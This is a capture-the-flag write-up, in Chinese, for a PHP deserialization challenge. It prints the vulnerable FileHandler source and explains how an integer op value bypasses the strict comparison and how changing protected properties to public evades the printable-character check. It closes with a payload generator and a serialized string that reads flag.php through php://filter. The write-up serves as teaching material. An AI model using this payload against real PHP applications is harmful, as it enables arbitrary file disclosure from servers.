知识点

  • file_get_content()可以读取php://filter伪协议
  • protected/private类型的属性序列化后产生不可打印字符,public类型则不会
  • PHP7.1+对类的属性类型不敏感
  • 强弱类型比较“===”、“==”

启动靶机

打开题目,给了我们源码

  1. <?php
  2. include("flag.php");
  3. highlight_file(__FILE__);
  4. class FileHandler {
  5. protected $op;
  6. protected $filename;
  7. protected $content;
  8. function __construct() {
  9. $op = "1";
  10. $filename = "/tmp/tmpfile";
  11. $content = "Hello World!";
  12. $this->process();
  13. }
  14. public function process() {
  15. if($this->op == "1") {
  16. $this->write();
  17. } else if($this->op == "2") {
  18. $res = $this->read();
  19. $this->output($res);
  20. } else {
  21. $this->output("Bad Hacker!");
  22. }
  23. }
  24. private function write() {
  25. if(isset($this->filename) && isset($this->content)) {
  26. if(strlen((string)$this->content) > 100) {
  27. $this->output("Too long!");
  28. die();
  29. }
  30. $res = file_put_contents($this->filename, $this->content);
  31. if($res) $this->output("Successful!");
  32. else $this->output("Failed!");
  33. } else {
  34. $this->output("Failed!");
  35. }
  36. }
  37. private function read() {
  38. $res = "";
  39. if(isset($this->filename)) {
  40. $res = file_get_contents($this->filename);
  41. }
  42. return $res;
  43. }
  44. private function output($s) {
  45. echo "[Result]: <br>";
  46. echo $s;
  47. }
  48. function __destruct() {
  49. if($this->op === "2")
  50. $this->op = "1";
  51. $this->content = "";
  52. $this->process();
  53. }
  54. }
  55. function is_valid($s) {
  56. for($i = 0; $i < strlen($s); $i++)
  57. if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  58. return false;
  59. return true;
  60. }
  61. if(isset($_GET{'str'})) {
  62. $str = (string)$_GET['str'];
  63. if(is_valid($str)) {
  64. $obj = unserialize($str);
  65. }
  66. }

查看代码可以看出来,GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。
在反序列化的过程中,调用__destruct析构方法

  1. function __destruct() {
  2. if($this->op === "2")
  3. $this->op = "1";
  4. $this->content = "";
  5. $this->process();
  6. }

如果op===”2”,将其赋为”1”,同时content赋为空,进入process函数,需要注意到的地方是,这里op与”2”比较的时候是强类型比较

  1. public function process() {
  2. if($this->op == "1") {
  3. $this->write();
  4. } else if($this->op == "2") {
  5. $res = $this->read();
  6. $this->output($res);
  7. } else {
  8. $this->output("Bad Hacker!");
  9. }
  10. }

进入process函数后,如果op==”1”,则进入write函数,若op==”2”,则进入read函数,否则输出报错,可以看出来这里op与字符串的比较变成了弱类型比较==。
以我们只要令op=2,这里的2是整数int。当op=2时,op===”2”为false,op==”2”为true,接着进入read函数

  1. private function read() {
  2. $res = "";
  3. if(isset($this->filename)) {
  4. $res = file_get_contents($this->filename);
  5. }
  6. return $res;
  7. }

filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出

  1. private function output($s) {
  2. echo "[Result]: <br>";
  3. echo $s;
  4. }

整个利用思路就很明显了,还有一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。
对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。

在这里有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

构造Payload

  1. <?php
  2. class FileHandler {
  3. public $op = 2;
  4. public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
  5. public $content;
  6. }
  7. $a = new FileHandler();
  8. $b = serialize($a);
  9. echo $b;
  10. ?>

得到:

  1. O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

image.png